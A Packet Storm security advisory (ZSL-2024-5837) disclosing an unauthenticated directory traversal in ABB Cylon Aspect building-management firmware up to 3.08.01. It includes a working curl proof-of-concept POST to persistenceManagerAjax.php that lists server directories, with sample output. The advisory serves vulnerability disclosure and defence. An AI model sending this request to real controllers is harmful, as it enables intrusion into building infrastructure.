ABB Cylon Aspect 3.08.01 persistenceManagerAjax.php Directory Traversal ≈ Packet Storm

Roger Wilco Exploits 10 octobre 2024 Affichages : 118

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

ABB Cylon Aspect 3.08.01 persistenceManagerAjax.php Directory Traversal^[6]: Authored by LiquidWorm ^[7] | Site zeroscience.mk ^[8]; ABB Cylon Aspect version 3.08.01 has a directory traversal vulnerability that can be exploited by an unauthenticated attacker to list the contents of arbitrary directories without reading file contents, leading to information disclosure of directory structures and filenames. This may expose sensitive system details, aiding in further attacks. The issue lies in the listFiles() function of the persistenceManagerAjax.php script, which calls PHP's readdir() function without proper input validation of the directory POST parameter.; SHA-256 | 6fe5412f92cf9da09187b01562243fec9b9cf0b1251cbfd3a890fd1a773702c5; Download ^[9] | Favorite ^[10] | View ^[11]


ABB Cylon Aspect 3.08.01 (persistenceManagerAjax.php) Directory Traversal
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The BMS/BAS controller has a directory traversal vulnerability that
can be exploited by an unauthenticated attacker to list the contents of
arbitrary directories without reading file contents, leading to information
disclosure of directory structures and filenames. This may expose sensitive
system details, aiding in further attacks. The issue lies in the listFiles()
function of the persistenceManagerAjax.php script, which calls PHP's readdir()
function without proper input validation of the 'directory' POST parameter.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5837
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5837.php
21.04.2024
--
$ cat project
P   R   O   J   E   C   T
.|
| |
|'|            ._____
___    |  |            |.   |' .---"|
_    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |
____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                            
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               
$ curl "http://192.168.73.31/persistenceManagerAjax.php" \
> -d "command=justList\
> &directory=./lib/" \
> | sed -e 's/.*\[\(.*\)\].*/\1/' \
> | tr -d '\' \
> | sed '1,1d' \
> | sed '$d'
INI.php
JSON.php
aspect-status.inc
caldav-checksums.inc
checkForLineFeed.php
check_networking.php
commands.inc
configParameter.php
datetime_includes.inc
errorCall.php
fileDownload.php
fileUpload.inc
formOptions.php
getUrlStatus.php
inString.php
jsFunctions.php
matrix-php.inc
obtainPorts.php
phpCheck.php
phpTimezone.php